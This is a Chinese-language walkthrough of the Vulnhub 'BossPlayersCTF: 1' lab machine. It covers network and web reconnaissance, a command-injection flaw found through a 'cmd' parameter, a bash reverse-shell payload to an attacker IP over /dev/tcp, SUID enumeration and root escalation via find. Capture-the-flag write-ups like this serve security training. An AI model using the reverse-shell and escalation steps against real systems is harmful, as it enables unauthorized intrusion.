当前位置:   article > 正文

Vulnhub:BOSSPLAYERSCTF: 1

Vulnhub:BOSSPLAYERSCTF: 1

目录

信息收集

arp

nmap

nikto

whatweb

WEB

web信息收集

dirmap

命令执行漏洞

反弹shell

提权

系统信息收集

get root


信息收集

arp
  1. ┌──(root㉿ru)-[~/kali/vulnhub]
  2. └─# arp-scan -l
  3. Interface: eth0, type: EN10MB, MAC: 00:50:56:2f:dd:99, IPv4: 192.168.211.128
  4. Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
  5. 192.168.211.1 00:50:56:c0:00:08 VMware, Inc.
  6. 192.168.211.2 00:50:56:e6:61:4b VMware, Inc.
  7. 192.168.211.134 00:50:56:27:d3:19 VMware, Inc.
  8. 192.168.211.254 00:50:56:e9:9d:22 VMware, Inc.
  9. 5 packets received by filter, 0 packets dropped by kernel
  10. Ending arp-scan 1.10.0: 256 hosts scanned in 2.541 seconds (100.75 hosts/sec). 4 responded

nmap
  1. 端口信息收集
  2. ┌──(root㉿ru)-[~/kali/vulnhub]
  3. └─# nmap -p- 192.168.211.134 --min-rate 10000 -oA port
  4. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:23 CST
  5. Nmap scan report for 192.168.211.134
  6. Host is up (0.0014s latency).
  7. Not shown: 65533 closed tcp ports (reset)
  8. PORT STATE SERVICE
  9. 22/tcp open ssh
  10. 80/tcp open http
  11. MAC Address: 00:50:56:27:D3:19 (VMware)
  12. Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
  1. 服务版本信息收集
  2. ┌──(root㉿ru)-[~/kali/vulnhub]
  3. └─# nmap -sC -sV -O -p 22,80 192.168.211.134 --min-rate 10000
  4. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:24 CST
  5. Nmap scan report for 192.168.211.134
  6. Host is up (0.00051s latency).
  7. PORT STATE SERVICE VERSION
  8. 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
  9. | ssh-hostkey:
  10. | 2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
  11. | 256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
  12. |_ 256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
  13. 80/tcp open http Apache httpd 2.4.38 ((Debian))
  14. |_http-title: Site doesn't have a title (text/html).
  15. |_http-server-header: Apache/2.4.38 (Debian)
  16. MAC Address: 00:50:56:27:D3:19 (VMware)
  17. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  18. Device type: general purpose
  19. Running: Linux 3.X|4.X
  20. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  21. OS details: Linux 3.2 - 4.9
  22. Network Distance: 1 hop
  23. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  24. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  25. Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

nikto
  1. ┌──(root㉿ru)-[~/kali/vulnhub]
  2. └─# nikto -h 192.168.211.134
  3. - Nikto v2.5.0
  4. ---------------------------------------------------------------------------
  5. + Target IP: 192.168.211.134
  6. + Target Hostname: 192.168.211.134
  7. + Target Port: 80
  8. + Start Time: 2024-04-04 10:23:54 (GMT8)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.38 (Debian)
  11. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
  12. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
  13. + No CGI Directories found (use '-C all' to force check all possible dirs)
  14. + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
  15. + /: Server may leak inodes via ETags, header found with file /, inode: 23f, size: 59394284b0000, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
  16. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
  17. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
  18. + 8102 requests: 0 error(s) and 6 item(s) reported on remote host
  19. + End Time: 2024-04-04 10:24:23 (GMT8) (29 seconds)
  20. ---------------------------------------------------------------------------
  21. + 1 host(s) tested

whatweb
  1. ┌──(root㉿ru)-[~/kali/vulnhub]
  2. └─# whatweb -v 192.168.211.134
  3. WhatWeb report for http://192.168.211.134
  4. Status : 200 OK
  5. Title : <None>
  6. IP : 192.168.211.134
  7. Country : RESERVED, ZZ
  8. Summary : Apache[2.4.38], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)]
  9. Detected Plugins:
  10. [ Apache ]
  11. The Apache HTTP Server Project is an effort to develop and
  12. maintain an open-source HTTP server for modern operating
  13. systems including UNIX and Windows NT. The goal of this
  14. project is to provide a secure, efficient and extensible
  15. server that provides HTTP services in sync with the current
  16. HTTP standards.
  17. Version : 2.4.38 (from HTTP Server Header)
  18. Google Dorks: (3)
  19. Website : http://httpd.apache.org/
  20. [ HTML5 ]
  21. HTML version 5, detected by the doctype declaration
  22. [ HTTPServer ]
  23. HTTP server header string. This plugin also attempts to
  24. identify the operating system from the server header.
  25. OS : Debian Linux
  26. String : Apache/2.4.38 (Debian) (from server string)
  27. HTTP Headers:
  28. HTTP/1.1 200 OK
  29. Date: Thu, 04 Apr 2024 02:25:06 GMT
  30. Server: Apache/2.4.38 (Debian)
  31. Last-Modified: Sat, 28 Sep 2019 02:57:04 GMT
  32. ETag: "23f-59394284b0000-gzip"
  33. Accept-Ranges: bytes
  34. Vary: Accept-Encoding
  35. Content-Encoding: gzip
  36. Content-Length: 354
  37. Connection: close
  38. Content-Type: text/html

WEB

web信息收集

  1. 难度等级:[*][][][][]
  2. 描述:你好!我为那些想把脚弄湿的人创造了非常简单的CTF。有一个方法,避免疯狂的洞!我希望你喜欢这个,最重要的是,请玩得开心!
  3. 网址:sudocong.com

  1. 源码有东西!
  2. WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
  3. 是base64编码!


  1. 发现文件 workinginprogress.php


dirmap
  1. ┌──(root㉿ru)-[~/tools/dirscan/dirmap]
  2. └─# python3 dirmap.py -i http://192.168.211.134/ -lcf
  3. ##### # ##### # # ## #####
  4. # # # # # ## ## # # # #
  5. # # # # # # ## # # # # #
  6. # # # ##### # # ###### #####
  7. # # # # # # # # # #
  8. ##### # # # # # # # # v1.0
  9. [*] Initialize targets...
  10. [+] Load targets from: http://192.168.211.134/
  11. [+] Set the number of thread: 30
  12. [+] Coroutine mode
  13. [+] Current target: http://192.168.211.134/
  14. [*] Launching auto check 404
  15. [+] Checking with: http://192.168.211.134/chkhiwgaflcnnsroiwkavpdjgibofsqvkdyrlrxhws
  16. [*] Use recursive scan: No
  17. [*] Use dict mode
  18. [+] Load dict:/root/tools/dirscan/dirmap/data/dict_mode_dict.txt
  19. [*] Use crawl mode
  20. [200][text/html][354.00b] http://192.168.211.134/index.html
  21. [200][text/plain][53.00b] http://192.168.211.134/robots.txt
  22. 99% (5698 of 5716) |################################################### | Elapsed Time: 0:00:13 ETA: 0:00:00

  1. ┌──(root㉿ru)-[~/kali/vulnhub]
  2. └─# echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
  3. lol try harder bro
  4. ???
  5. 寻找别的突破口吧!

命令执行漏洞

目录的中文叫 "工作中的进程" ; 而且这里显示可以测试"ping"命令,如果想测试该命令,我们需要参数,常见的参数有 cmd、file、php。。。

经过测试这里的参数是 cmd  ! 可以直接进行命令执行! 我们反弹shell一下!

反弹shell
  1. payload
  2. /bin/bash -c 'bash -i >& /dev/tcp/192.168.211.128/5678 0>&1'


提权

系统信息收集
  1. cat /etc/crontab
  2. # /etc/crontab: system-wide crontab
  3. # Unlike any other crontab you don't have to run the `crontab'
  4. # command to install the new version when you edit this file
  5. # and files in /etc/cron.d. These files also have username fields,
  6. # that none of the other crontabs do.
  7. SHELL=/bin/sh
  8. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  9. # Example of job definition:
  10. # .---------------- minute (0 - 59)
  11. # | .------------- hour (0 - 23)
  12. # | | .---------- day of month (1 - 31)
  13. # | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
  14. # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
  15. # | | | | |
  16. # * * * * * user-name command to be executed
  17. 17 * * * * root cd / && run-parts --report /etc/cron.hourly
  18. 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
  19. 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
  20. 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
  21. #
  22. www-data@bossplayers:/$
  1. www-data@bossplayers:/$ ls -al /etc/passwd /etc/shadow
  2. ls -al /etc/passwd /etc/shadow
  3. -rw-r--r-- 1 root root 1483 Sep 28 2019 /etc/passwd
  4. -rw-r----- 1 root shadow 975 Sep 28 2019 /etc/shadow
  1. www-data@bossplayers:/$ cat /etc/passwd | grep "home" | grep -v nologin
  2. cat /etc/passwd | grep "home" | grep -v nologin
  3. cuong:x:1000:1000:cuong,,,:/home/cuong:/bin/bash
  1. www-data@bossplayers:/$ find / -perm -u=s -type f 2>/dev/null
  2. find / -perm -u=s -唐type f 2>/dev/null
  3. www-data@bossplayers:/$ find / -perm -u=s -type f 2>/dev/null
  4. find / -perm -u=s -type f 2>/dev/null
  5. /usr/bin/mount
  6. /usr/bin/umount
  7. /usr/bin/gpasswd
  8. /usr/bin/su
  9. /usr/bin/chsh
  10. /usr/bin/grep
  11. /usr/bin/chfn
  12. /usr/bin/passwd
  13. /usr/bin/find
  14. /usr/bin/newgrp
  15. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  16. /usr/lib/openssh/ssh-keysign
  17. /usr/lib/eject/dmcrypt-get-device
  18. www-data@bossplayers:/$
发现 find !使用find提权!!

get root

  1. bash-5.0# cd /root
  2. cd /root
  3. bash-5.0# ls
  4. ls
  5. root.txt
  6. bash-5.0# cat root.txt
  7. cat root.txt
  8. Y29uZ3JhdHVsYXRpb25zCg==
  1. ┌──(root㉿ru)-[~/kali/vulnhub]
  2. └─# echo "Y29uZ3JhdHVsYXRpb25zCg==" | base64 -d
  3. congratulations
本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
  

闽ICP备14008679号